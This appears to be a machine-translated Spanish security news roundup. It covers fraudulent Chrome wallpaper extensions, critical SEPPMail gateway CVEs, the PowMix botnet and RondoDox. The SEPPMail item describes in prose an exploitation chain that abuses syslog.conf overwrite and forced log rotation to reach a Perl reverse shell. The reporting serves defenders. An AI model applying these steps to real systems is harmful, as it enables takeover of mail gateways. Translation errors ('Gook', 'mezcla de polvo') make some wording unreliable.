  • Anime Car Drift Live Wallpaper (bcafgkhoifffmnoajkgmbhcojpabjffm)
  • Nueva pestaña de Fondos de pantalla de Choso (ojeaociifmdciibodcifjjocdlbjjeep)
  • Anime lluvia fondo de pantalla en vivo (npcghghfkbpgiamoifabankdnmopenni)
  • Minecraft Sakura Pond Live Wallpaper (mjdhgndjbajnanfimjipafechjbakdhh)
  • Sombrero de Paja Live Wallpaper Fantasma de Tsushima (lblgjffllphdepifdkfhlihddckhlkll)
  • Zenitsu Agatsuma Live Wallpaper (laeciedchhnmnfhllplcgkfcdbdfgdhn)

«Cada listado declara en Chrome Web Store que no recopilará ni utilizará datos del usuario, mientras que la política de privacidad vinculada admite lo contrario: que las extensiones registren direcciones IP, ISP, recuentos de clics y referencias y compartan esos datos con Google AdSense, DoubleClick y socios publicitarios externos», dijo el investigador de seguridad de Socket, Kush Pandya. dicho.

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Es más, un subgrupo de extensiones identificadas define dos URL codificadas en un archivo JavaScript («js/bg.js») que se activan durante las operaciones de instalación y desinstalación:

  • La URL de instalación incluye los parámetros del módulo de seguimiento de Urchin (UTM) «utm_source=google&utm_medium=organic&utm_campaign=tanjiro-demon-slayer-live-wallpaper», disfrazando así la extensión que abre una pestaña de instalación como una búsqueda «orgánica».
  • La URL de desinstalación es un contenedor de redireccionamiento google.com/url que disfraza la desinstalación como una actividad genuina de la Búsqueda de Google.

La búsqueda orgánica en motores de búsqueda como Gook se refiere a los listados no pagados en una página de resultados de un motor de búsqueda (SERP) generados por algoritmos. Su ubicación se basa en parámetros como relevancia, autoridad y optimización de motores de búsqueda (SEO), y es diferente de los resultados patrocinados.

La idea detrás de estas extensiones, dijo Socket, es crear artificialmente esa señal, lo que esencialmente equivale a fabricar el origen de su propio tráfico.

«La visita no es una persona que buscó en Google; es la extensión que abre una pestaña por sí sola y la marca ‘llegó de la búsqueda orgánica de Google’», explicó la compañía.

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«El ping de desinstalación va un paso más allá, envolviendo el destino en el formato exacto google.com/url que Google usa para clics en resultados de búsqueda reales, incluidos los tokens ved y usg firmados, por lo que el resultado parece un humano haciendo clic en un resultado de Google».

Los archivos JavaScript también vienen equipados con una capacidad inactiva para enumerar y eliminar cada base de datos IndexedDB que pueda encontrar al iniciar un trabajador de servicio.

Se considera que la campaña es una «operación afiliada de fraude de atribución de tráfico y publicidad comercial con motivación financiera», aunque se desconoce su procedencia exacta. Los indicadores circunstanciales disponibles sugieren que podría tener su origen en Turquía.

Las vulnerabilidades de la puerta de enlace de correo electrónico segura de SEPPMail permiten el acceso al tráfico de correo y RCE

Se han revelado vulnerabilidades críticas de seguridad en SEPPMail Puerta de enlace segura de correo electrónicouna solución de seguridad de correo electrónico de nivel empresarial, que podría explotarse para lograr la ejecución remota de código y permitir que un atacante lea correos arbitrarios desde el dispositivo virtual.

«Estas vulnerabilidades podrían haberse aprovechado para leer todo el tráfico de correo o como vector de entrada a la red interna», afirman los investigadores de InfoGuard Labs Dario Weiss, Manuel Feifel y Olivier Becker. dicho en un informe del lunes.

La lista de fallas identificadas es la siguiente:

  • CVE-2026-2743 (Puntuación CVSS: 10.0): una vulnerabilidad de recorrido de ruta en la función de transferencia de archivos grandes (LFT) de la interfaz web de usuario de SeppMail que podría permitir la escritura arbitraria de archivos, lo que resultaría en la ejecución remota de código.
  • CVE-2026-7864 (Puntuación CVSS: 6,9): exposición a una vulnerabilidad de información confidencial del sistema que filtra variables de entorno del servidor a través de un punto final no autenticado en la nueva interfaz de usuario de GINA.
  • CVE-2026-44125 (Puntuación CVSS: 9.3) – Una vulnerabilidad de verificación de autorización faltante para múltiples puntos finales en la nueva interfaz de usuario de GINA que permite a atacantes remotos no autenticados acceder a funciones que de otro modo requerirían una sesión válida.
  • CVE-2026-44126 (Puntuación CVSS: 9.2): una vulnerabilidad de deserialización de datos no confiables que permite a atacantes remotos no autenticados ejecutar código a través de un objeto serializado diseñado.
  • CVE-2026-44127 (Puntuación CVSS: 8.8) – Una vulnerabilidad de recorrido de ruta no autenticada en «/api.app/attachment/preview» que permite a atacantes remotos leer archivos locales arbitrarios y activar la eliminación de archivos en el directorio de destino con los privilegios del proceso «api.app».
  • CVE-2026-44128 (Puntuación CVSS: 9,3): una vulnerabilidad de inyección de evaluación que permite la ejecución remota de código no autenticado aprovechando el hecho de que la función /api.app/template pasa directamente el parámetro upldd proporcionado por el usuario a una declaración Perl eval() sin ningún tipo de desinfección.
  • CVE-2026-44129 (Puntuación CVSS: 8,3): una neutralización inadecuada de elementos especiales utilizados en una vulnerabilidad del motor de plantilla que permite a atacantes remotos ejecutar expresiones de plantilla arbitrarias y potencialmente lograr la ejecución remota de código dependiendo de los complementos de plantilla habilitados.
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En un escenario de ataque hipotético, un actor de amenazas podría explotar CVE-2026-2743 para sobrescribir la configuración de syslog del sistema («/etc/syslog.conf») haciendo uso del acceso de escritura del usuario «nadie» al archivo y, en última instancia, obtener un shell inverso basado en Perl. El resultado final es una toma completa del dispositivo SEPPmail, lo que permite al atacante leer todo el tráfico de correo y persistir indefinidamente en la puerta de enlace.

Un obstáculo importante que un atacante debe superar para lograr la ejecución remota de código es que registro del sistema relee la configuración sólo al recibir la Suspiro (también conocida como señal de «colgar»). Syslogd es un demonio del sistema Linux responsable de escribir mensajes del sistema en archivos de registro o en la terminal de un usuario.

«El dispositivo utiliza newsyslog para la rotación de registros (por ejemplo, que conduce a logfile.0), que se ejecuta cada 15 minutos a través de cron», explicaron los investigadores. «newsyslog rota los archivos que exceden un límite de tamaño y luego envía automáticamente un SIGHUP a syslogd. Al inflar los archivos de registro como SEPPMaillog, que tiene un límite de 10,000 KB en este caso, podemos forzar una rotación y una recarga posterior de la configuración. Estos se pueden completar simplemente enviando solicitudes web».

Si bien se dice que CVE-2026-44128 fue fijado con la versión 15.0.2.1, CVE-2026-44126 se solucionó con el lanzamiento de la versión 15.0.3. Las vulnerabilidades restantes se han solucionado en la versión 15.0.4.

La divulgación se produce semanas después de que SEPPmail enviara actualizaciones para resolver otra falla crítica (CVE-2026-27441puntuación CVSS: 9,5) que podría permitir la ejecución arbitraria de comandos del sistema operativo.

La botnet PowMix recientemente descubierta ataca a los trabajadores checos utilizando tráfico C2 aleatorio – CYBERDEFENSA.MX

Investigadores de ciberseguridad han advertido sobre una campaña maliciosa activa dirigida a la fuerza laboral en la República Checa con una botnet previamente indocumentada denominada mezcla de polvo desde al menos diciembre de 2025.

«PowMix emplea intervalos aleatorios de balizas de comando y control (C2), en lugar de una conexión persistente al servidor C2, para evadir las detecciones de firmas de red», dijo Chetan Raghuprasad, investigador de Cisco Talos. dicho en un informe publicado hoy.

«PowMix incorpora los datos de latidos cifrados junto con identificadores únicos de la máquina víctima en las rutas URL de C2, imitando las URL de API REST legítimas. PowMix tiene la capacidad de actualizar dinámicamente de forma remota el nuevo dominio C2 al archivo de configuración de la botnet».

La cadena de ataque comienza con un archivo ZIP malicioso, probablemente entregado a través de un correo electrónico de phishing, para activar una cadena de infección de varias etapas que elimina PowMix. Específicamente, se trata de un acceso directo de Windows (LNK) que se utiliza para iniciar un cargador de PowerShell, que luego extrae el malware incrustado en el archivo, lo descifra y lo ejecuta en la memoria.

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La botnet nunca antes vista está diseñada para facilitar el acceso remoto, el reconocimiento y la ejecución remota de código, al tiempo que establece persistencia mediante una tarea programada. Al mismo tiempo, verifica el árbol de procesos para garantizar que no se esté ejecutando otra instancia del mismo malware en el host comprometido.

La lógica de gestión remota de PowMix le permite procesar dos tipos diferentes de comandos enviados desde el servidor C2. Cualquier respuesta sin prefijo # hace que PowMix cambie al modo de ejecución arbitrario y descifre y ejecute la carga útil obtenida.

  • #KILL, para iniciar una rutina de autoeliminación y borrar rastros de todos los artefactos maliciosos
  • #HOST, para habilitar la migración de C2 a una nueva URL del servidor.

Paralelamente, también abre un documento señuelo con señuelos con temática de cumplimiento como mecanismo de distracción. Los documentos señuelo hacen referencia a marcas legítimas como Edeka e incluyen datos de compensación y referencias legislativas válidas, potencialmente en un esfuerzo por mejorar su credibilidad y engañar a los destinatarios, como los aspirantes a empleo.

Talos dijo que la campaña comparte cierto nivel de superposición táctica con una campaña denominada ZipLine que Check Point reveló a fines de agosto de 2025 como dirigida a empresas de fabricación críticas para la cadena de suministro con un malware en memoria llamado MixShell.

Esto incluye el uso de la misma entrega de carga útil basada en ZIP, la persistencia de tareas programadas y el abuso de Heroku para C2. Dicho esto, no se han observado cargas útiles finales más allá del propio malware botnet, lo que deja sin respuesta preguntas sobre sus motivos exactos.

«PowMix evita conexiones persistentes al servidor C2», dijo Talos. «En su lugar, implementa una fluctuación a través del comando Get-Random PowerShell para variar los intervalos de baliza inicialmente entre 0 y 261 segundos, y posteriormente entre 1.075 y 1.450 segundos. Esta técnica intenta evitar la detección de tráfico C2 a través de firmas de red predecibles».

La divulgación se produce cuando Bitsight arroja luz sobre la cadena de infección asociada con la botnet RondoDox, destacando las capacidades en evolución del malware para extraer criptomonedas ilícitamente en sistemas infectados usando XMRig además de la funcionalidad de ataque de denegación de servicio distribuido (DDoS) existente.

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Los hallazgos pintan la imagen de un malware mantenido activamente que ofrece evasión mejorada, mayor resistencia, eliminación agresiva de la competencia y un conjunto de funciones ampliado.

RondoDox es capaz de explotar más de 170 vulnerabilidades conocidas en varias aplicaciones conectadas a Internet para obtener acceso inicial y soltar un script de shell que realiza un antianálisis básico y elimina el malware de la competencia antes de soltar el binario de botnet apropiado para la arquitectura.

El malware «realiza múltiples comprobaciones e implementa técnicas para obstaculizar el análisis, que incluyen el uso de nanomites, cambiar el nombre/eliminar archivos, eliminar procesos y comprobar activamente si hay depuradores durante la ejecución», dijo el científico investigador principal de Bitsight, João Godinho. dicho.

«El robot es capaz de ejecutar ataques DoS en Internet, en la capa de transporte y de aplicación, dependiendo del comando y los argumentos emitidos por el C2».